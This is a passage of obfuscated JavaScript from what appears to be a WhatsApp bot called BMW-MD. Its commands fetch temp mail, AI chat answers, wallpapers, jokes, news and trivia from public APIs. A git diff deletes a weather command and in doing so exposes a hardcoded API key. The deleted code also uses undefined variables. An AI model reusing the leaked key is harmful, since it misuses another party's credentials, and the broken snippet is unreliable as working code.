_0x3b6542('Sorry,\x20there\x20was\x20an\x20error\x20retrieving\x20the\x20news.\x20Please\x20try\x20again\x20later.\x0a'+_0x106592);}}),adams({'nomCom':'mail','aliases':['tempmail',_0x39bcb0(0x20b)],'reaction':'📧','categorie':_0x39bcb0(0x149)},async(_0x2bfa8c,_0x52af9e,_0x4c0448)=>{const _0x3b5425=_0x39bcb0,{repondre:_0x478e15,prefixe:_0x4171c0,ms:_0x2a64f2}=_0x4c0448;try{const _0x595799=Math[_0x3b5425(0x1fe)]()[_0x3b5425(0x1cf)](0x24)[_0x3b5425(0x1e3)](0x2,0xc),_0x23a82c=_0x595799+_0x3b5425(0x167);await _0x52af9e['sendMessage'](_0x2bfa8c,{'text':_0x3b5425(0x15e)+_0x23a82c+_0x3b5425(0x1f5)},{'quoted':_0x2a64f2});const _0x15d94a=_0x139e04=>{const _0xa90942=_0x3b5425,_0x476b19=/(https?:\/\/[^\s]+)/g;return _0x139e04[_0xa90942(0x18b)](_0x476b19);},_0x230148=async()=>{const _0x9d326f=_0x3b5425;try{const _0x56f53f=await fetch(_0x9d326f(0x158)+_0x595799+_0x9d326f(0x19b)),_0x3808b5=await _0x56f53f[_0x9d326f(0x18e)]();if(_0x3808b5&&_0x3808b5[_0x9d326f(0x1b2)]>0x0)for(const _0x41e006 of _0x3808b5){const _0x5613cc=await fetch('https://www.1secmail.com/api/v1/?action=readMessage&login='+_0x595799+'&domain=1secmail.com&id='+_0x41e006['id']),_0x1814c6=await _0x5613cc[_0x9d326f(0x18e)](),_0x3b7b17=_0x15d94a(_0x1814c6['textBody']),_0x55af45=_0x3b7b17?_0x3b7b17[_0x9d326f(0x160)]('\x0a'):_0x9d326f(0x1e4);await _0x52af9e[_0x9d326f(0x214)](_0x2bfa8c,{'text':_0x9d326f(0x15d)+_0x1814c6[_0x9d326f(0x1c3)]+_0x9d326f(0x1a3)+_0x1814c6[_0x9d326f(0x17b)]+'\x0a\x0a'+_0x1814c6[_0x9d326f(0x14b)]+_0x9d326f(0x213)+_0x55af45},{'quoted':_0x2a64f2});}}catch(_0x2c5b16){console[_0x9d326f(0x1ee)](_0x9d326f(0x1fb),_0x2c5b16[_0x9d326f(0x146)]);}},_0xcbdbcf=setInterval(_0x230148,0x7530);setTimeout(()=>{const _0xcad904=_0x3b5425;clearInterval(_0xcbdbcf),_0x52af9e[_0xcad904(0x214)](_0x2bfa8c,{'text':'Your\x20temporary\x20email\x20session\x20has\x20ended.\x20Please\x20create\x20a\x20new\x20temporary\x20email\x20if\x20needed.'},{'quoted':_0x2a64f2});},0x927c0);}catch(_0xab475c){console[_0x3b5425(0x1ee)](_0x3b5425(0x1bd),_0xab475c[_0x3b5425(0x146)]),await _0x52af9e['sendMessage'](_0x2bfa8c,{'text':_0x3b5425(0x1f7)},{'quoted':_0x2a64f2});}}),adams({'nomCom':_0x39bcb0(0x1bc),'aliases':[_0x39bcb0(0x170),_0x39bcb0(0x1da)],'reaction':'📡','categorie':'AI'},async(_0x3a773c,_0x27111b,_0x2d381a)=>{const _0x40422a=_0x39bcb0,{repondre:_0x38bc30,arg:_0x40b20d,ms:_0x22c059}=_0x2d381a;try{if(!_0x40b20d||_0x40b20d['length']===0x0)return _0x38bc30(_0x40422a(0x1ea));const _0xabb77=_0x40b20d[_0x40422a(0x160)]('\x20'),_0x12ea30=_0x40422a(0x13c)+_0xabb77;let _0x2a378a=_0x40422a(0x188);_0x27111b[_0x40422a(0x214)](_0x3a773c,{'image':{'url':_0x12ea30},'caption':_0x2a378a},{'quoted':_0x22c059});}catch(_0x305e4d){console[_0x40422a(0x1ee)]('Erreur:',_0x305e4d[_0x40422a(0x146)]||_0x40422a(0x161)),_0x38bc30(_0x40422a(0x1fa));}}),adams({'nomCom':_0x39bcb0(0x1fc),'reaction':'🤗','categorie':'AI'},async(_0x43b9ca,_0x111126,_0xa40b2b)=>{const _0x33c045=_0x39bcb0,{repondre:_0x1f385f,arg:_0x4e923c,ms:_0x93a1a2}=_0xa40b2b;try{if(!_0x4e923c||_0x4e923c[_0x33c045(0x1b2)]===0x0)return _0x1f385f(_0x33c045(0x198));const _0x5b1b08=_0x4e923c[_0x33c045(0x160)]('\x20'),_0x255f43=await fetch(_0x33c045(0x152)+_0x5b1b08),_0x54f66c=await _0x255f43['json']();if(_0x54f66c&&_0x54f66c[_0x33c045(0x197)]){const _0x233f3e=_0x54f66c[_0x33c045(0x197)],_0x38445b=_0x233f3e[_0x33c045(0x18b)](/```([\s\S]*?)```/),_0x5191a8=[{'name':_0x33c045(0x1f3),'buttonParamsJson':JSON[_0x33c045(0x189)]({'display_text':_0x33c045(0x1ab),'url':_0x33c045(0x153)})}];if(_0x38445b){const _0x4d1ea4=_0x38445b[0x1];_0x5191a8[_0x33c045(0x187)]({'name':_0x33c045(0x203),'buttonParamsJson':JSON['stringify']({'display_text':_0x33c045(0x17e),'id':_0x33c045(0x1e1),'copy_code':_0x4d1ea4})});const _0x335de3=generateWAMessageFromContent(_0x43b9ca,{'viewOnceMessage':{'message':{'messageContextInfo':{'deviceListMetadata':{},'deviceListMetadataVersion':0x2},'interactiveMessage':proto['Message']['InteractiveMessage'][_0x33c045(0x165)]({'body':proto['Message'][_0x33c045(0x1c5)]['Body']['create']({'text':_0x233f3e}),'footer':proto[_0x33c045(0x1f1)]['InteractiveMessage']['Footer'][_0x33c045(0x165)]({'text':_0x33c045(0x162)}),'header':proto[_0x33c045(0x1f1)]['InteractiveMessage'][_0x33c045(0x17f)][_0x33c045(0x165)]({'title':'','subtitle':'','hasMediaAttachment':![]}),'nativeFlowMessage':proto[_0x33c045(0x1f1)]['InteractiveMessage'][_0x33c045(0x1dc)]['create']({'buttons':_0x5191a8})})}}},{});await _0x111126[_0x33c045(0x212)](_0x43b9ca,_0x335de3[_0x33c045(0x146)],{'messageId':_0x335de3['key']['id']});}else{const _0x399a08=generateWAMessageFromContent(_0x43b9ca,{'viewOnceMessage':{'message':{'messageContextInfo':{'deviceListMetadata':{},'deviceListMetadataVersion':0x2},'interactiveMessage':proto[_0x33c045(0x1f1)]['InteractiveMessage'][_0x33c045(0x165)]({'body':proto['Message'][_0x33c045(0x1c5)][_0x33c045(0x168)]['create']({'text':_0x233f3e}),'footer':proto['Message'][_0x33c045(0x1c5)][_0x33c045(0x180)][_0x33c045(0x165)]({'text':'>\x20*POWERED\x20BY\x20BMW-MD*'}),'header':proto[_0x33c045(0x1f1)]['InteractiveMessage'][_0x33c045(0x17f)]['create']({'title':'','subtitle':'','hasMediaAttachment':![]}),'nativeFlowMessage':proto['Message'][_0x33c045(0x1c5)]['NativeFlowMessage'][_0x33c045(0x165)]({'buttons':_0x5191a8})})}}},{});await _0x111126['relayMessage'](_0x43b9ca,_0x399a08[_0x33c045(0x146)],{'messageId':_0x399a08[_0x33c045(0x1e9)]['id']});}}else throw new Error('Invalid\x20response\x20from\x20the\x20API.');}catch(_0xbd4a57){console['error']('Error\x20getting\x20response:',_0xbd4a57[_0x33c045(0x146)]),_0x1f385f(_0x33c045(0x13d));}}),adams({'nomCom':_0x39bcb0(0x14c),'aliases':[_0x39bcb0(0x1db),_0x39bcb0(0x16e)],'reaction':'🔢','categorie':_0x39bcb0(0x149)},async(_0x29ccc3,_0x2784d3,_0x4b2f97)=>{const _0x4a02d2=_0x39bcb0,{repondre:_0x17124a,arg:_0xb9ffba,ms:_0x36614a}=_0x4b2f97;if(!_0xb9ffba||_0xb9ffba[_0x4a02d2(0x1b2)]===0x0)return _0x17124a(_0x4a02d2(0x17a));const _0x3ced1e=_0xb9ffba[_0x4a02d2(0x160)]('\x20'),_0x1bcd54=await fetch(_0x4a02d2(0x142)+_0x3ced1e),_0x2c0161=await _0x1bcd54[_0x4a02d2(0x18e)]();await _0x17124a(_0x2c0161['result']),console[_0x4a02d2(0x13a)](_0x2c0161['completion']);}),adams({'nomCom':'hd-wallpaper','aliases':[_0x39bcb0(0x19d),_0x39bcb0(0x1d0),'bw'],'reaction':'🙌','categorie':'BMW\x20PICS'},async(_0x2ba5c4,_0x2e5bf6,_0x5f2d7a)=>{const _0x563068=_0x39bcb0,{repondre:_0xc75dae,arg:_0x240660,ms:_0x2e6196}=_0x5f2d7a,_0xf05498=await fetch(_0x563068(0x177)),_0x11f2d7=await _0xf05498[_0x563068(0x18e)](),_0x1146b8=_0x11f2d7[_0x563068(0x141)][_0x563068(0x1a0)];let _0x3c87c7={'image':{'url':_0x1146b8},'caption':'*POWERED\x20BY\x20BMW-MD*'};return await _0x2e5bf6[_0x563068(0x214)](_0x2ba5c4,_0x3c87c7,{'quoted':_0x2e6196});}),adams({'nomCom':_0x39bcb0(0x1fe),'reaction':'🥂','categorie':_0x39bcb0(0x19f)},async(_0x5372a5,_0x125b1b,_0x26c57f)=>{const _0x6ea49=_0x39bcb0,{repondre:_0x14ef0b,arg:_0xef9cad,ms:_0x11e4b2}=_0x26c57f,_0x56750a=await fetch(_0x6ea49(0x177)),_0x55ffbc=await _0x56750a['json'](),_0x4f4197=_0x55ffbc['urls'][_0x6ea49(0x1a0)];let _0x31224a={'image':{'url':_0x4f4197},'caption':_0x6ea49(0x191)};return await _0x125b1b['sendMessage'](_0x5372a5,_0x31224a,{'quoted':_0x11e4b2});}),adams({'nomCom':'nature','reaction':'🦗','categorie':'BMW\x20PICS'},async(_0x1cce3f,_0x1e041a,_0x4ff107)=>{const _0x4d7358=_0x39bcb0,{repondre:_0x3b8cdd,arg:_0x5d5433,ms:_0x3c94a3}=_0x4ff107,_0x2586e3=await fetch(_0x4d7358(0x177)),_0x47d143=await _0x2586e3['json'](),_0x475300=_0x47d143['urls'][_0x4d7358(0x1a0)];let _0x1ad35f={'image':{'url':_0x475300},'caption':_0x4d7358(0x1d3)};return await _0x1e041a['sendMessage'](_0x1cce3f,_0x1ad35f,{'quoted':_0x3c94a3});}),adams({'nomCom':_0x39bcb0(0x210),'reaction':'⌚','categorie':_0x39bcb0(0x149)},async(_0x2ad650,_0x3124bb,_0x4e65e2)=>{const _0x62ffd9=_0x39bcb0,{repondre:_0x1b8518,arg:_0xa800df,ms:_0x56ad2e}=_0x4e65e2;try{if(!_0xa800df||_0xa800df[_0x62ffd9(0x1b2)]===0x0)return _0x1b8518(_0x62ffd9(0x1d1));const _0x55c38c=_0xa800df[_0x62ffd9(0x160)]('\x20'),_0x586819=await fetch('https://levanter.onrender.com/time?code='+_0x55c38c),_0x2817c6=await _0x586819['json'](),_0x5404ef=_0x2817c6[_0x62ffd9(0x197)][0x0][_0x62ffd9(0x202)],_0x55c1d7=_0x2817c6['result'][0x0]['time'],_0x59052b=_0x2817c6['result'][0x0][_0x62ffd9(0x16b)];await _0x1b8518(_0x62ffd9(0x1cc)+_0x5404ef+_0x62ffd9(0x18d)+_0x55c1d7+_0x62ffd9(0x1a4)+_0x59052b+_0x62ffd9(0x175));}catch(_0x24a3c5){_0x1b8518(_0x62ffd9(0x1f4));}}),adams({'nomCom':_0x39bcb0(0x1b6),'reaction':'🫵','categorie':_0x39bcb0(0x1f0)},async(_0x220b72,_0xcf332,_0x4a395a)=>{const _0x189cc7=_0x39bcb0,{repondre:_0x1e19f3,arg:_0x18b9a6,ms:_0xfe697b}=_0x4a395a,_0x2292c3=await fetch(_0x189cc7(0x1ef)),_0x280389=await _0x2292c3[_0x189cc7(0x18e)]();await _0x1e19f3(_0x280389['result']),console['log'](_0x280389[_0x189cc7(0x193)]);}),adams({'nomCom':_0x39bcb0(0x174),'reaction':'💀','categorie':_0x39bcb0(0x1f0)},async(_0x132231,_0x58225f,_0x4ccd5a)=>{const _0x424157=_0x39bcb0,{repondre:_0x92e9ca,arg:_0x4f26e4,ms:_0xfbb66}=_0x4ccd5a,_0x298364=await fetch(_0x424157(0x1ed)),_0x247197=await _0x298364['json']();await _0x92e9ca(_0x247197[_0x424157(0x197)]),console[_0x424157(0x13a)](_0x247197[_0x424157(0x193)]);}),adams({'nomCom':_0x39bcb0(0x1c6),'reaction':'💥','categorie':_0x39bcb0(0x1a7)},async(_0x2cede3,_0x50aa8e,_0x4e5170)=>{const _0x3eba05=_0x39bcb0,{repondre:_0x3e453a,arg:_0x3ba799,ms:_0x4dc92d}=_0x4e5170;try{if(!_0x3ba799||_0x3ba799[_0x3eba05(0x1b2)]===0x0)return _0x3e453a(_0x3eba05(0x200));const _0x124e27=_0x3ba799[_0x3eba05(0x160)]('\x20'),_0x297b74=_0x3eba05(0x1b9)+_0x124e27;let _0x3c5bb8=_0x3eba05(0x1f8);_0x50aa8e[_0x3eba05(0x214)](_0x2cede3,{'image':{'url':_0x297b74},'caption':_0x3c5bb8},{'quoted':_0x4dc92d});}catch(_0x520246){console[_0x3eba05(0x1ee)](_0x3eba05(0x13f),_0x520246[_0x3eba05(0x146)]||_0x3eba05(0x161)),_0x3e453a(_0x3eba05(0x1fa));}}),adams({'nomCom':_0x39bcb0(0x205),'reaction':'😁','categorie':_0x39bcb0(0x1f0)},async(_0xf64f00,_0x9d6120,_0x362450)=>{const _0x38cf0f=_0x39bcb0,{repondre:_0x1f4b70,arg:_0xbd3eda,ms:_0x183d1a}=_0x362450,_0x5524c8=await fetch(_0x38cf0f(0x1f2)),_0x2463f6=await _0x5524c8[_0x38cf0f(0x18e)]();await _0x1f4b70(_0x2463f6[_0x38cf0f(0x197)]),console[_0x38cf0f(0x13a)](_0x2463f6[_0x38cf0f(0x193)]);}),adams({'nomCom':_0x39bcb0(0x15c),'reaction':'🤩','categorie':'Fun'},async(_0x4f29e8,_0x335731,_0x3e271b)=>{const _0x5cc2cc=_0x39bcb0,{repondre:_0x245bff,arg:_0x4b1493,ms:_0x2c1a50}=_0x3e271b,_0x1d666e=await fetch(_0x5cc2cc(0x19e)),_0x20a6f4=await _0x1d666e[_0x5cc2cc(0x18e)]();await _0x245bff(_0x20a6f4[_0x5cc2cc(0x197)]),console[_0x5cc2cc(0x13a)](_0x20a6f4[_0x5cc2cc(0x193)]);}),adams({'nomCom':_0x39bcb0(0x1ae),'reaction':_0x39bcb0(0x163),'categorie':_0x39bcb0(0x178)},async(_0x5422d7,_0x55a0dd,_0x5610a1)=>{const _0x13c6ad=_0x39bcb0,{repondre:_0x368869,arg:_0x3a0e9b,ms:_0x5a307a}=_0x5610a1;try{const _0x169fc7=await fetch(_0x13c6ad(0x182)),_0x528672=await _0x169fc7[_0x13c6ad(0x18e)]();if(_0x528672&&_0x528672[_0x13c6ad(0x18a)]===0xc8&&_0x528672[_0x13c6ad(0x197)]){const _0x3a020f=_0x528672[_0x13c6ad(0x197)],_0x186636=_0x13c6ad(0x207)+_0x3a020f[_0x13c6ad(0x196)]+'\x0a\x0a-\x20*Description:*\x20'+_0x3a020f[_0x13c6ad(0x140)][_0x13c6ad(0x20d)]('\x0a')[0x0]+_0x13c6ad(0x1f9)+_0x3a020f[_0x13c6ad(0x1b4)]+_0x13c6ad(0x1c7),_0x12d30b=_0x3a020f[_0x13c6ad(0x159)][_0x13c6ad(0x211)](_0x557cee=>_0x557cee&&_0x557cee!==_0x13c6ad(0x1d8));_0x12d30b?await _0x55a0dd[_0x13c6ad(0x214)](_0x5422d7,{'image':{'url':_0x12d30b},'caption':_0x186636[_0x13c6ad(0x15f)]()},{'quoted':_0x5a307a}):await _0x55a0dd[_0x13c6ad(0x214)](_0x5422d7,{'text':_0x186636[_0x13c6ad(0x15f)]()},{'quoted':_0x5a307a});}else await _0x368869('No\x20news\x20data\x20found.');}catch(_0x449423){console[_0x13c6ad(0x1ee)]('Error\x20fetching\x20Apple\x20news:',_0x449423),await _0x368869(_0x13c6ad(0x186));}}),adams({'nomCom':_0x39bcb0(0x1bf),'reaction':_0x39bcb0(0x163),'categorie':_0x39bcb0(0x178)},async(_0x4e84d3,_0x3a8a4b,_0x1ba5a2)=>{const _0x4aa91b=_0x39bcb0,{repondre:_0x4031d5,arg:_0x4a2f70,ms:_0x45ddc0}=_0x1ba5a2;try{const _0x1d77de=await fetch(_0x4aa91b(0x1fd)),_0x326b75=await _0x1d77de[_0x4aa91b(0x18e)]();if(_0x326b75&&_0x326b75['status']===0xc8&&_0x326b75[_0x4aa91b(0x197)]){const _0x177970=_0x326b75[_0x4aa91b(0x197)],_0x439c05=_0x4aa91b(0x1e6)+_0x177970[_0x4aa91b(0x196)]+_0x4aa91b(0x1ff)+_0x177970['date']+_0x4aa91b(0x1e5)+_0x177970[_0x4aa91b(0x204)][_0x4aa91b(0x20d)]('\x0a')[0x0]+'...\x0a\x0a\x0a>\x20Powered\x20by\x20*©France\x20King*',_0xe25672=_0x177970[_0x4aa91b(0x190)];_0xe25672?await _0x3a8a4b[_0x4aa91b(0x214)](_0x4e84d3,{'image':{'url':_0xe25672},'caption':_0x439c05[_0x4aa91b(0x15f)]()},{'quoted':_0x45ddc0}):await _0x3a8a4b[_0x4aa91b(0x214)](_0x4e84d3,{'text':_0x439c05[_0x4aa91b(0x15f)]()},{'quoted':_0x45ddc0});}else await _0x4031d5(_0x4aa91b(0x1d5));}catch(_0x4b1119){console['error'](_0x4aa91b(0x17c),_0x4b1119),await _0x4031d5(_0x4aa91b(0x186));}}),adams({'nomCom':_0x39bcb0(0x13b),'reaction':_0x39bcb0(0x163),'categorie':_0x39bcb0(0x178)},async(_0xe5a7dd,_0x3f7793,_0x500b26)=>{const _0x7cfabb=_0x39bcb0,{repondre:_0x2042cb,arg:_0x5328da,ms:_0x3c1694}=_0x500b26;try{const _0x21daa5=await fetch(_0x7cfabb(0x150)),_0x287396=await _0x21daa5[_0x7cfabb(0x18e)]();if(_0x287396&&_0x287396[_0x7cfabb(0x18a)]===0xc8&&_0x287396['result']){const _0x4644bc=_0x287396[_0x7cfabb(0x197)],_0x16ada5=_0x7cfabb(0x1c1)+_0x4644bc[_0x7cfabb(0x1ba)][_0x7cfabb(0x192)]+'\x0a-\x20*Male\x20Population:*\x20'+_0x4644bc[_0x7cfabb(0x1ba)][_0x7cfabb(0x147)]+'\x0a-\x20*Female\x20Population:*\x20'+_0x4644bc['current']['female']+'\x0a-\x20*Births\x20This\x20Year:*\x20'+_0x4644bc[_0x7cfabb(0x1b1)][_0x7cfabb(0x1c8)]+_0x7cfabb(0x20a)+_0x4644bc[_0x7cfabb(0x1b1)][_0x7cfabb(0x1ad)]+'\x0a-\x20*Births\x20Today:*\x20'+_0x4644bc['today']['births']+_0x7cfabb(0x16f)+_0x4644bc['today'][_0x7cfabb(0x1ad)]+_0x7cfabb(0x1f6);await _0x2042cb(_0x16ada5);}else await _0x2042cb(_0x7cfabb(0x18f));}catch(_0x14aab6){console[_0x7cfabb(0x1ee)]('Error\x20fetching\x20population\x20data:',_0x14aab6),await _0x2042cb('There\x20was\x20an\x20error\x20fetching\x20the\x20population\x20data.\x20Please\x20try\x20again\x20later.');}}),adams({'nomCom':'jokes','reaction':'🤩','categorie':'Fun'},async(_0x7bb53e,_0x4b1b30,_0x57b95b)=>{const _0x4c8f02=_0x39bcb0,{repondre:_0x6f3d24,arg:_0x2436af,ms:_0xf7edd7}=_0x57b95b;try{const _0x3da5f3=await fetch(_0x4c8f02(0x1a2));if(!_0x3da5f3['ok'])throw new Error(_0x4c8f02(0x1bb));const _0x65e67a=await _0x3da5f3[_0x4c8f02(0x18e)]();await _0x6f3d24(_0x65e67a['joke']),console[_0x4c8f02(0x13a)](_0x65e67a[_0x4c8f02(0x1b8)]);}catch(_0x3209bd){console['error'](_0x4c8f02(0x14f),_0x3209bd[_0x4c8f02(0x146)]),await _0x6f3d24('Failed\x20to\x20fetch\x20a\x20joke.\x20Please\x20try\x20again\x20later.');}}),adams({'nomCom':_0x39bcb0(0x176),'reaction':_0x39bcb0(0x1dd),'categorie':'Fun'},async(_0x5e3cca,_0x46692c,_0xb674f)=>{const _0x496b52=_0x39bcb0,{repondre:_0x279ca7,arg:_0x24b59b,ms:_0x582e4e}=_0xb674f;try{const _0x527a0f=await fetch(_0x496b52(0x208)),_0x452343=await _0x527a0f[_0x496b52(0x18e)](),_0x1bbc31=_0x452343[_0x496b52(0x1c9)]['advice'];await _0x279ca7(_0x496b52(0x15b)+_0x1bbc31);}catch(_0x42a0e2){console[_0x496b52(0x1ee)](_0x496b52(0x1d9),_0x42a0e2[_0x496b52(0x146)]||'An\x20error\x20occurred'),_0x279ca7('Oops,\x20an\x20error\x20occurred\x20while\x20processing\x20your\x20request');}}),adams({'nomCom':_0x39bcb0(0x20c),'reaction':'🤔','categorie':_0x39bcb0(0x1f0)},async(_0x514a1e,_0x364b49,_0x24a545)=>{const _0x2ebb1f=_0x39bcb0,{repondre:_0xb2f12c,prefixe:_0x43d2cc,ms:_0xd4727b}=_0x24a545;try{const _0x1e5581=await fetch(_0x2ebb1f(0x143));if(_0x1e5581[_0x2ebb1f(0x18a)]!==0xc8)return _0xb2f12c(_0x2ebb1f(0x16c)+_0x1e5581['status']);const _0x14c051=await _0x1e5581[_0x2ebb1f(0x18e)]();if(_0x14c051&&_0x14c051['results']&&_0x14c051[_0x2ebb1f(0x1ec)][0x0]){const _0x351156=_0x14c051[_0x2ebb1f(0x1ec)][0x0],_0x5142ea=_0x351156[_0x2ebb1f(0x1ac)],_0x34ff37=_0x351156[_0x2ebb1f(0x1b7)],_0x39ee98=[..._0x351156[_0x2ebb1f(0x1a8)],_0x34ff37]['sort'](),_0x4df9fc=_0x39ee98[_0x2ebb1f(0x1e8)]((_0x4ab3f6,_0x15952b)=>_0x15952b+0x1+'.\x20'+_0x4ab3f6)[_0x2ebb1f(0x160)]('\x0a');await _0x364b49['sendMessage'](_0x514a1e,{'text':_0x2ebb1f(0x1df)+_0x5142ea+'\x0a\x0a'+_0x4df9fc+_0x2ebb1f(0x1c4)},{'quoted':_0xd4727b}),setTimeout(async()=>{const _0xc3973=_0x2ebb1f;await _0x364b49[_0xc3973(0x214)](_0x514a1e,{'text':_0xc3973(0x183)+_0x34ff37},{'quoted':_0xd4727b});},0x2710);}else throw new Error(_0x2ebb1f(0x15a));}catch(_0xad0d4b){console[_0x2ebb1f(0x1ee)](_0x2ebb1f(0x1d2),_0xad0d4b[_0x2ebb1f(0x146)]),await _0x364b49[_0x2ebb1f(0x214)](_0x514a1e,{'text':_0x2ebb1f(0x1e2)},{'quoted':_0xd4727b});}}),adams({'nomCom':_0x39bcb0(0x1a1),'reaction':'✨','categorie':_0x39bcb0(0x149)},async(_0x598c6b,_0x29bc28,_0x2541ad)=>{const _0x4e25ba=_0x39bcb0,{repondre:_0x1ce934,arg:_0x27b838,ms:_0x369d1a}=_0x2541ad;try{const _0x44e3b9=await fetch(_0x4e25ba(0x1d6)),_0x378cec=await _0x44e3b9[_0x4e25ba(0x18e)](),_0x3ebee4=Math[_0x4e25ba(0x166)](Math[_0x4e25ba(0x1fe)]()*_0x378cec[_0x4e25ba(0x1b2)]),_0x3393d6=_0x378cec[_0x3ebee4];await _0x1ce934('*Here\x20is\x20an\x20inspirational\x20quote\x20for\x20you:*\x20\x0a\x22'+_0x3393d6['text']+_0x4e25ba(0x1ca)+_0x3393d6[_0x4e25ba(0x145)]);}catch(_0x32eb0f){console[_0x4e25ba(0x1ee)]('Error:',_0x32eb0f['message']||'An\x20error\x20occurred'),_0x1ce934(_0x4e25ba(0x1fa));}}),adams({'nomCom':'gpt4','reaction':'📡','categorie':'AI'},async(_0x2cc548,_0x17d893,_0x1b316f)=>{const _0x536879=_0x39bcb0,{repondre:_0x2bbf2f,arg:_0x2db5e4,ms:_0xf847b2}=_0x1b316f;try{if(!_0x2db5e4||_0x2db5e4[_0x536879(0x1b2)]===0x0)return _0x2bbf2f('Please\x20ask\x20a\x20question.');const _0x51a8f6=encodeURIComponent(_0x2db5e4['join']('\x20')),_0x4df159=_0x536879(0x1c0)+_0x51a8f6,_0x20494c=await axios[_0x536879(0x185)](_0x4df159),_0x8c4d0e=_0x20494c['data'];if(_0x8c4d0e&&_0x8c4d0e[_0x536879(0x146)]&&_0x8c4d0e[_0x536879(0x146)][_0x536879(0x1a9)]){const _0x282442=_0x8c4d0e['message']['content'],_0x1b7d96=_0x282442['match'](/```([\s\S]*?)```/),_0x30aa0f=[{'name':_0x536879(0x1f3),'buttonParamsJson':JSON['stringify']({'display_text':_0x536879(0x1ab),'url':_0x536879(0x153)})}];if(_0x1b7d96){const _0x1e6911=_0x1b7d96[0x1];_0x30aa0f[_0x536879(0x187)]({'name':_0x536879(0x203),'buttonParamsJson':JSON[_0x536879(0x189)]({'display_text':'📋\x20COPY\x20RESULTS','id':'copy_code','copy_code':_0x1e6911})});}const _0x26e2e4=generateWAMessageFromContent(_0x2cc548,{'viewOnceMessage':{'message':{'messageContextInfo':{'deviceListMetadata':{},'deviceListMetadataVersion':0x2},'interactiveMessage':proto[_0x536879(0x1f1)][_0x536879(0x1c5)]['create']({'body':proto[_0x536879(0x1f1)]['InteractiveMessage'][_0x536879(0x168)][_0x536879(0x165)]({'text':_0x282442}),'footer':proto[_0x536879(0x1f1)][_0x536879(0x1c5)][_0x536879(0x180)][_0x536879(0x165)]({'text':_0x536879(0x1a6)}),'header':proto[_0x536879(0x1f1)][_0x536879(0x1c5)][_0x536879(0x17f)][_0x536879(0x165)]({'title':'','subtitle':'','hasMediaAttachment':![]}),'nativeFlowMessage':proto[_0x536879(0x1f1)]['InteractiveMessage'][_0x536879(0x1dc)]['create']({'buttons':_0x30aa0f})})}}},{});await _0x17d893['relayMessage'](_0x2cc548,_0x26e2e4[_0x536879(0x146)],{'messageId':_0x26e2e4['key']['id']});}else throw new Error(_0x536879(0x14a));}catch(_0x232746){console[_0x536879(0x1ee)](_0x536879(0x17d),_0x232746[_0x536879(0x146)],_0x232746[_0x536879(0x20f)]?.[_0x536879(0x16d)]||_0x536879(0x1b0)),_0x2bbf2f(_0x536879(0x1b3));}}),adams({'nomCom':_0x39bcb0(0x1a5),'aliases':['gptbard'],'categorie':'AI'},async(_0x2f09d4,_0x433723,_0x466bad)=>{const _0x5c51d3=_0x39bcb0,{ms:_0x4a991e,repondre:_0x54d8f0,arg:_0x32a609}=_0x466bad;if(!_0x32a609[0x0]){_0x54d8f0(_0x5c51d3(0x1ce));return;}try{await _0x433723[_0x5c51d3(0x214)](_0x2f09d4,{'text':_0x5c51d3(0x164)},{'quoted':_0x4a991e});const _0xfc47d5=_0x466bad['nomAuteurMessage']||'defaultUser',_0x1fcc96=_0x32a609[_0x5c51d3(0x160)]('\x20'),_0x539a35=_0x5c51d3(0x19c)+_0xfc47d5+'&query='+encodeURIComponent(_0x1fcc96),_0x1058e5=await fetch(_0x539a35),_0x1b34b5=await _0x1058e5[_0x5c51d3(0x18e)]();if(!_0x1b34b5[_0x5c51d3(0x179)]){_0x54d8f0(_0x5c51d3(0x155));return;}const _0x45ca84=_0x1b34b5[_0x5c51d3(0x179)],_0x26bea3=[{'name':'cta_url','buttonParamsJson':JSON['stringify']({'display_text':_0x5c51d3(0x1ab),'url':_0x5c51d3(0x153)})}],_0x2890f1=generateWAMessageFromContent(_0x2f09d4,{'viewOnceMessage':{'message':{'messageContextInfo':{'deviceListMetadata':{},'deviceListMetadataVersion':0x2},'interactiveMessage':proto[_0x5c51d3(0x1f1)][_0x5c51d3(0x1c5)][_0x5c51d3(0x165)]({'body':proto[_0x5c51d3(0x1f1)][_0x5c51d3(0x1c5)][_0x5c51d3(0x168)]['create']({'text':_0x45ca84}),'footer':proto[_0x5c51d3(0x1f1)][_0x5c51d3(0x1c5)][_0x5c51d3(0x180)][_0x5c51d3(0x165)]({'text':_0x5c51d3(0x162)}),'header':proto[_0x5c51d3(0x1f1)][_0x5c51d3(0x1c5)][_0x5c51d3(0x17f)]['create']({'title':'','subtitle':'','hasMediaAttachment':![]}),'nativeFlowMessage':proto['Message']['InteractiveMessage']['NativeFlowMessage'][_0x5c51d3(0x165)]({'buttons':_0x26bea3})})}}},{});await _0x433723['relayMessage'](_0x2f09d4,_0x2890f1[_0x5c51d3(0x146)],{'messageId':_0x2890f1['key']['id']});}catch(_0xb7afdd){_0x54d8f0('A\x20fatal\x20error\x20has\x20occurred...\x20\x0a\x20'+_0xb7afdd[_0x5c51d3(0x146)]);}});
diff --git a/scs/bmwn.js b/scs/bmwn.js
deleted file mode 100644
index e1bf6a4..0000000
--- a/scs/bmwn.js
+++ /dev/null
@@ -1,26 +0,0 @@
-const {
- adams
-} = require("../Ibrahim/adams");
-adams({
- 'nomCom': "weather",
- 'reaction': "🌡️",
- 'categorie': "Search"
-},
- async (_0x626df9, _0x17e5bb, _0x37baf6) => {
- const _0x445647 = _0x1180fa.join(" ");
- if (!_0x445647) {
- return _0xecdf09("Give me location...");
- }
- const _0x470189 = await fetch("https://api.openweathermap.org/data/2.5/weather?q=" + _0x445647 + "&units=metric&appid=060a6bcfa19809c2cd4d97a212b19273&language=en");
- const _0x4bfc6 = await _0x470189.json();
- const _0x3cf19a = _0x4bfc6.name;
- const _0x52e997 = _0x4bfc6.main.temp;
- const _0x32180e = _0x4bfc6.weather[0x0].description;
- const _0x2da493 = _0x4bfc6.main.humidity;
- const _0x368581 = _0x4bfc6.wind.speed;
- const _0x28a97c = _0x4bfc6.rain ? _0x4bfc6.rain['1h'] : 0x0;
- const _0x39a4af = _0x4bfc6.clouds.all;
- const _0x41b2f8 = new Date(_0x4bfc6.sys.sunrise * 0x3e8);
- const _0x4393a0 = new Date(_0x4bfc6.sys.sunset * 0x3e8);
